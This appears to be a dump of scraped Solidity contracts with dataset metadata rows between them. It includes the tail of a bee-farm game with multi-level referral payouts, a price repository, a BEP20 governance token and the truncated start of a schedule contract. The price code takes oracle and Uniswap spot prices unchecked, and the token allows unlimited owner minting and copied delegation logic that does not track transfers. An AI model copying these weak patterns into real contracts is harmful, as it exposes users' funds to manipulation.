emit MedalAwarded(user, i + 1);
}
}
}
function retrieveBonus() public override(UserBonus) {
totalWithdrawed = totalWithdrawed.add(userBonusEarned(msg.sender));
super.retrieveBonus();
}
function claimOwnership() public override(Claimable) {
super.claimOwnership();
_register(owner(), address(0));
}
function _distributeFees(address user, uint256 wax, uint256 deposited, address refAddress) internal {
address(uint160(owner())).transfer(wax * ADMIN_PERCENT / 100 / COINS_PER_ETH);
if (refAddress != address(0)) {
Player storage referrer = players[refAddress];
referrer.referralsTotalDeposited = referrer.referralsTotalDeposited.add(deposited);
_addToBonusIfNeeded(refAddress);
address to = refAddress;
for (uint i = 0; to != address(0) && i < REFERRAL_PERCENT_PER_LEVEL.length; i++) {
uint256 reward = wax.mul(REFERRAL_PERCENT_PER_LEVEL[i]).div(100);
players[to].balanceHoney = players[to].balanceHoney.add(reward);
players[to].points = players[to].points.add(wax.mul(REFERRAL_POINT_PERCENT[i]).div(100));
emit ReferrerPaid(user, to, i + 1, reward);
to = players[to].referrer;
}
}
}
function _register(address user, address refAddress) internal {
Player storage player = players[user];
player.registeredDate = block.timestamp;
player.bees[0] = MAX_BEES_PER_TARIFF;
player.unlockedBee = 1;
player.lastTimeCollected = block.timestamp;
totalBeesBought = totalBeesBought.add(MAX_BEES_PER_TARIFF);
totalPlayers++;
if (refAddress != address(0)) {
player.referrer = refAddress;
players[refAddress].referrals.push(user);
if (players[refAddress].referrer != address(0)) {
players[players[refAddress].referrer].subreferralsCount++;
}
_addToBonusIfNeeded(refAddress);
}
emit Registered(user, refAddress);
}
function _payWithHoneyOnly(address user, uint256 amount) internal {
Player storage player = players[user];
player.balanceHoney = player.balanceHoney.sub(amount);
}
function _payWithWaxOnly(address user, uint256 amount) internal {
Player storage player = players[user];
player.balanceWax = player.balanceWax.sub(amount);
}
function _payWithWaxAndHoney(address user, uint256 amount) internal returns(uint256) {
Player storage player = players[user];
uint256 wax = Math.min(amount, player.balanceWax);
uint256 honey = amount.sub(wax).mul(100 - HONEY_DISCOUNT_PERCENT).div(100);
player.balanceWax = player.balanceWax.sub(wax);
_payWithHoneyOnly(user, honey);
return honey;
}
function _addToBonusIfNeeded(address user) internal {
if (user != address(0) && !bonus.userRegistered[user]) {
Player storage player = players[user];
if (player.totalDeposited >= 5 ether &&
player.referrals.length >= 10 &&
player.referralsTotalDeposited >= 50 ether)
{
_addUserToBonus(user);
}
}
}
}
| 249,162 | 13,547 |
7ea90a12192f4d9d84d551de23fdb3c8db1e4da8c8d48c1863f730cf77631384
| 23,609 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/e7/E77065f44e018d2b6c4bf31F8329cC9B06F4e545_PriceRepository.sol
| 3,896 | 15,627 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
// Part: AggregatorV3Interface
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound);
function latestRoundData()
external
view
returns (uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound);
}
// Part: IERC20_short
interface IERC20_short {
function decimals() external view returns (uint8);
}
// Part: IPriceRepository
interface IPriceRepository {
function addPriceFeed(address token1,
address token2,
address priceFeedContract) external;
function getAmountOut(address token1, address token2, uint256 amountIn) external view returns (uint256);
}
// Part: IUniswapV2Router01
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// Part: OpenZeppelin/[emailprotected]/Context
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
// Part: OpenZeppelin/[emailprotected]/SafeMath
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// Part: IUniswapV2Router02
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external override pure returns (address);
function WETH() external override pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external override returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external override payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external override returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external override returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external override returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external override returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external override returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external override returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external override
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external override
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external override
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external override
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external override pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external override pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external override pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external override view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external override view returns (uint[] memory amounts);
}
// Part: OpenZeppelin/[emailprotected]/Ownable
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// Part: PoolACL
contract PoolACL is Ownable{
mapping(address => bool) private _poolServices;
modifier onlyPoolService() {
require(_poolServices[msg.sender], "Allowed for pool services only");
_;
}
function addToPoolServicesList(address poolService) external onlyOwner{
_poolServices[poolService] = true;
}
}
// File: PriceRepository.sol
contract PriceRepository is Ownable, IPriceRepository, PoolACL {
using SafeMath for uint256;
uint256 _from = 0;
mapping(address => mapping(address => AggregatorV3Interface)) _oracles;
IUniswapV2Router02 private _router;
constructor(address router) public {
_router = IUniswapV2Router02(router);
}
function setSource(uint256 from) external onlyOwner {
_from = from;
}
// And new source of prices for tokens
function addPriceFeed(address token1,
address token2,
address priceFeedContract) external override onlyPoolService {
_oracles[token1][token2] = AggregatorV3Interface(priceFeedContract);
}
function getAmountOut(address token1, address token2, uint256 amountIn)
external view override returns (uint256) {
if (token1 == token2) return amountIn.mul(1e8);
if (_from == 0) {
return getAmountOut0(token1, token2, amountIn);
} else {
return getAmountOut1(token1, token2, amountIn);
}
}
function getAmountOut0(address token1, address token2, uint256 amountIn)
public view returns (uint256) {
require(address(_oracles[token1][token2]) != address(0), "Oracle doesn't exists");
uint256 decimals1 = uint256(IERC20_short(token1).decimals());
uint256 decimals2 = uint256(IERC20_short(token2).decimals());
(uint80 roundID,
int price,
uint startedAt,
uint timeStamp,
uint80 answeredInRound) = _oracles[token1][token2].latestRoundData();
return amountIn.mul(uint256(price)).mul(10 ** decimals2).div(10 ** decimals1);
}
function getAmountOut1(address token1, address token2, uint256 amountIn)
public view returns (uint256) {
require(address(_router) != address(0), "Router doesn't exists");
address[] memory addresses = new address[](2);
addresses[0] = token1;
addresses[1] = token2;
uint[] memory amount = _router.getAmountsOut(amountIn, addresses);
return uint256(amount[1]).mul(1e8);
}
}
| 111,787 | 13,548 |
2b3064f0a0ad424105a52801e37e1c1f99065302ea716d7c311e1ef8f138a7f9
| 39,296 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/0d/0d75a2864a65fdb906749422b7f27a4d433bf094_Lfarm.sol
| 4,976 | 19,733 |
// https://t.me/LiQuidFarm
// https://www.potionfarm.space/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash
= 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
"Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
"Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 500;
string private _name = "Liquid Farm";
string private _symbol = "LFARM";
uint8 private _decimals = 18;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
override
view
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount,
"BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue,
"BEP20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount,
"BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount,
"BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount,
"BEP20: burn amount exceeds allowance"));
}
}
// Lfarm with Governance.
contract Lfarm is BEP20("Liquid Farm", "LFarm") {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping(address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping(address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping(address => uint256) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator,
address indexed fromDelegate,
address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate,
uint256 previousBalance,
uint256 newBalance);
function delegates(address delegator) external view returns (address) {
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0),
"CAKE::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++,
"CAKE::delegateBySig: invalid nonce");
require(now <= expiry, "CAKE::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account) external view returns (uint256) {
uint32 nCheckpoints = numCheckpoints[account];
return
nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint256 blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number,
"CAKE::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying CAKEs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep,
address dstRep,
uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0
? checkpoints[srcRep][srcRepNum - 1].votes
: 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0
? checkpoints[dstRep][dstRepNum - 1].votes
: 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes) internal {
uint32 blockNumber = safe32(block.number,
"CAKE::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 &&
checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber,
newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint256 n, string memory errorMessage)
internal
pure
returns (uint32)
{
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint256) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId;
}
}
| 332,822 | 13,549 |
2abf6dc190c29f7fa6c561441ff1f1570b661457822fca685f3dd4338a77b5a8
| 18,355 |
.sol
|
Solidity
| false |
396610222
|
Rosefintech/Rosefintech-OrbitContract
|
139e47fc5d43fac4d1a1e229de39d5319ec34ea8
|
Schedule-Contract.sol
| 4,835 | 18,027 |
// SPDX-License-Identifier: SimPL-2.0
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
interface IERC20 {
function totalSupply() external view returns (uint);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function mint(address to, uint256 amount) external;
function burnMulti(address[] memory from, uint256[] memory amount) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath:ADD_OVERFLOW");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath:SUB_UNDERFLOW");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath:MUL_OVERFLOW");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath:DIV_ZERO");
uint256 c = a / b;
return c;
}
}
interface IFundManager {
function takePosition(address _account, uint _usdcNum, bytes32 _id) external payable returns (bool);
function outOfPosition(address[] memory _addr,
address tokenAddr,
uint[] memory tokenNum,
uint[] memory billTokenNum,
uint[] memory tokenBrokerageNum,
uint[] memory tokenChargeNum) external returns (uint _tokenRes);
}
interface IStorage {
// function setPositionMemberValueMul(address[] memory _account, uint[] memory _value) external;
function getTotalAssert() external view returns (uint _ethNum, uint _USDNum, uint _WBTCNum);
function setTotalAssert(uint _ethNum, uint _USDNum, uint _WBTCNum) external;
}
interface IUniswapRouterV2 {
function getAmountsOut(uint _tokenNum, address[] memory _symbolAddress) external view returns (uint[] memory);
function swapExactETHForTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable returns (uint[] memory amounts);
function WETH() external pure returns (address);
}
interface IRosPledge {
function pledgeIn(address _account, uint _USDCvalue, uint _ETHValue, uint rosValue, address _superior, uint _billNum) external returns (bytes32);
function rewardToPosition(address[] memory _account, uint[] memory _reward) external returns(bool);
}
interface IVerifier {
function verifyTx(uint[2] memory a,
uint[2][2] memory b,
uint[2] memory c,
uint[21] memory input) external view returns (bool r);
}
library EnumerableSet {
